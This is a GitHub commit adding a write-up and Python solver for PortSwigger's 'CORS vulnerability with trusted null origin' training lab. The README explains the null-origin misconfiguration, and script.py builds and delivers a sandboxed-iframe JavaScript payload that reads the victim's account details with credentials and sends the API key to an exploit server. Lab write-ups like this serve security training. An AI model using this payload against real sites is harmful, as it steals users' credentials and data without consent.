-
Notifications
You must be signed in to change notification settings - Fork 104
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add CORS vulnerability with trusted null origin
- Loading branch information
1 parent
def0b11
commit 535ae16
Showing
14 changed files
with
202 additions
and
0 deletions.
There are no files selected for viewing
94 changes: 94 additions & 0 deletions
94
...gin_resource_sharing_CORS/CORS_vulnerability_with_trusted_null_origin/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,94 @@ | ||
# Write-up: CORS vulnerability with trusted null origin @ PortSwigger Academy | ||
|
||
 | ||
|
||
This write-up for the lab `CORS vulnerability with trusted null origin` is part of my walk-through series for [PortSwigger's Web Security Academy](https://portswigger.net/web-security). | ||
|
||
Lab-Link: <https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack> | ||
Difficulty: APPRENTICE | ||
Python script: [script.py](script.py) | ||
|
||
## Lab description | ||
|
||
- Lab application trusts the "null" origin in its CORS configuration | ||
- Known good credentials `wiener:peter` | ||
|
||
### Goals | ||
|
||
Craft some JavaScript that | ||
|
||
- retrieves the admin API key | ||
- uploads it to the exploit server | ||
|
||
## Steps | ||
|
||
### Analysis | ||
|
||
The lab application is the shopping website. I log in with the provided credentials and check the requests made with Burp: | ||
|
||
 | ||
|
||
The response header `Access-Control-Allow-Credentials` hints that CORS is configured and that the browser will allow my JavaScript to read the response. I send the request to Repeater to play a bit. | ||
|
||
**Reflected origin** | ||
|
||
The first attempt is to add an origin to see whether basic reflection works. In this case, it does not (and this is expected as this was the content of the [first lab](../CORS_vulnerability_with_basic_origin_reflection/README.md) in this section): | ||
|
||
 | ||
|
||
**Wildcard origin** | ||
|
||
Another problem with CORS can be wildcard origin, which is allowing any domain to access the response. However, browsers will never send cookies if wildcard origins are used, regardless of the content of the `Access-Control-Allow-Credentials` header. | ||
|
||
As we need the inclusion of the session cookies in the request, wildcard origins can not be abused here. | ||
|
||
**Null origin** | ||
|
||
Similar to wildcard origin, a null origin is another way to allow the whole world to access the resources on websites. But unlike wildcard origin, null origin allows access to the response if the `Access-Control-Allow-Credentials` header is set to `true`. | ||
|
||
In the case of this web application this is what happens: | ||
|
||
 | ||
|
||
The response contains the desired combination of response headers: | ||
|
||
``` | ||
Access-Control-Allow-Origin: null | ||
Access-Control-Allow-Credentials: true | ||
``` | ||
|
||
### Craft a payload | ||
|
||
The next issue is how to instruct the browser to issue a null origin in its request. | ||
|
||
A quick google search leads to a post on [stackoverflow](https://stackoverflow.com/questions/42239643/when-do-browsers-send-the-origin-header-when-do-browsers-set-the-origin-to-null) that contains a longish list of cases that cause the browser to include a null origin, including: | ||
|
||
 | ||
|
||
A quick check on [webdbg.com](https://webdbg.com/test/sandbox/frames.htm) appears to confirm this: | ||
|
||
 | ||
|
||
So I try to request the `accountDetails` page in a script within an iframe: | ||
|
||
 | ||
|
||
The request now contains a null origin and the response has the desired CORS-headers: | ||
|
||
 | ||
|
||
I take the script from the [first lab](../CORS_vulnerability_with_basic_origin_reflection/README.md) of this section and modify it to use an iframe: | ||
|
||
 | ||
|
||
After testing it, the log of the exploit server contains the data I want: | ||
|
||
 | ||
|
||
Sending the exploit to the victim results in the key of the administrator: | ||
|
||
 | ||
|
||
and the lab updates to | ||
|
||
 |
Binary file added
BIN
+50.8 KB
...RS_vulnerability_with_trusted_null_origin/img/accountDetails_normal_request.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+25.9 KB
..._sharing_CORS/CORS_vulnerability_with_trusted_null_origin/img/final_payload.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+5.96 KB
...source_sharing_CORS/CORS_vulnerability_with_trusted_null_origin/img/iframes.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+37 KB
..._resource_sharing_CORS/CORS_vulnerability_with_trusted_null_origin/img/logo.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+53.5 KB
...ng_CORS/CORS_vulnerability_with_trusted_null_origin/img/null_origin_allowed.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+48.8 KB
...rce_sharing_CORS/CORS_vulnerability_with_trusted_null_origin/img/own_origin.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+20.7 KB
...ce_sharing_CORS/CORS_vulnerability_with_trusted_null_origin/img/poc_payload.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+48.2 KB
...g_CORS/CORS_vulnerability_with_trusted_null_origin/img/poc_payload_response.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+26.2 KB
...source_sharing_CORS/CORS_vulnerability_with_trusted_null_origin/img/success.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+3.63 KB
...ource_sharing_CORS/CORS_vulnerability_with_trusted_null_origin/img/test_run.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+3.81 KB
...rce_sharing_CORS/CORS_vulnerability_with_trusted_null_origin/img/victim_key.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added
BIN
+21.7 KB
...esource_sharing_CORS/CORS_vulnerability_with_trusted_null_origin/img/webdbg.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
108 changes: 108 additions & 0 deletions
108
13_cross_origin_resource_sharing_CORS/CORS_vulnerability_with_trusted_null_origin/script.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,108 @@ | ||
#!/usr/bin/env python3 | ||
# CORS vulnerability with trusted null origin | ||
# Lab-Link: https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack | ||
# Difficulty: APPRENTICE | ||
from bs4 import BeautifulSoup | ||
import requests | ||
import sys | ||
import urllib3 | ||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | ||
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} | ||
|
||
|
||
def find_exploitserver(text): | ||
soup = BeautifulSoup(text, 'html.parser') | ||
try: | ||
result = soup.find('a', attrs={'id': 'exploit-link'})['href'] | ||
except TypeError: | ||
return None | ||
return result | ||
|
||
|
||
def store_exploit(client, exploit_server, host): | ||
# In difference to the previous lab the URLs need to use ' instead of " as the " are used for the iframe. | ||
# as | ||
data = {'urlIsHttps': 'on', | ||
'responseFile': '/exploit', | ||
'responseHead': '''HTTP/1.1 200 OK | ||
Content-Type: text/html; charset=utf-8''', | ||
'responseBody': '''<iframe name="malicious" srcdoc="<script> | ||
var r = new XMLHttpRequest(); | ||
r.open('get', \'''' + host + '''/accountDetails', false); | ||
r.withCredentials = true; | ||
r.send(); | ||
const obj = JSON.parse(r.responseText); | ||
r.open('get', \'''' + exploit_server + '''/?user=' + obj.username + '&apikey=' + obj.apikey, false); | ||
r.send(); | ||
</script>" sandbox="allow-scripts" width="0px" height="0px" style="border: 0px none;"> </iframe>''', | ||
'formAction': 'STORE'} | ||
|
||
return client.post(exploit_server, data=data).status_code == 200 | ||
|
||
|
||
def extract_solution(client, exploit_server): | ||
r = client.get(f'{exploit_server}/log') | ||
if r.status_code != 200: | ||
return None | ||
|
||
soup = BeautifulSoup(r.text, 'html.parser') | ||
result = soup.find('pre', attrs={'class': 'container'}).text | ||
exfiltrate_line = result.splitlines()[-1] | ||
# line is this format: | ||
# 172.31.30.227 2022-05-01 16:53:37 +0000 "GET /?user=administrator&apikey=gOl7iVmfoesIVlIsWUfK30vYkLUDcRXr HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36" | ||
apikey = exfiltrate_line.split()[5].split('&')[1].split('=')[1] | ||
return apikey | ||
|
||
|
||
def send_solution(client, host, solution): | ||
data = {'answer': solution} | ||
r = client.post(f'{host}/submitSolution', data=data) | ||
return '{"correct":true}' in r.text | ||
|
||
|
||
def main(): | ||
print('[+] CORS vulnerability with trusted null origin') | ||
try: | ||
host = sys.argv[1].strip().rstrip('/') | ||
except IndexError: | ||
print(f'Usage: {sys.argv[0]} <HOST>') | ||
print(f'Exampe: {sys.argv[0]} http://www.example.com') | ||
sys.exit(-1) | ||
|
||
client = requests.Session() | ||
client.verify = False | ||
client.proxies = proxies | ||
|
||
exploit_server = find_exploitserver(client.get(host).text) | ||
if exploit_server is None: | ||
print(f'[-] Failed to find exploit server') | ||
sys.exit(-2) | ||
print(f'[+] Exploit server: {exploit_server}') | ||
|
||
if not store_exploit(client, exploit_server, host): | ||
print(f'[-] Failed to store exploit file') | ||
sys.exit(-3) | ||
print(f'[+] Stored exploit file') | ||
|
||
if client.get(f'{exploit_server}/deliver-to-victim', allow_redirects=False).status_code != 302: | ||
print(f'[-] Failed to deliver exploit to victim') | ||
sys.exit(-4) | ||
print(f'[+] Delivered exploit to victim') | ||
|
||
apikey = extract_solution(client, exploit_server) | ||
print(f'[+] API key: {apikey}') | ||
if not send_solution(client, host, apikey): | ||
print(f'[-] Answer submitted was incorrect') | ||
sys.exit(-5) | ||
print(f'[+] Correct answer submitted') | ||
|
||
if 'Congratulations, you solved the lab!' not in client.get(f'{host}').text: | ||
print(f'[-] Failed to solve lab') | ||
sys.exit(-9) | ||
|
||
print(f'[+] Lab solved') | ||
|
||
|
||
if __name__ == "__main__": | ||
main() |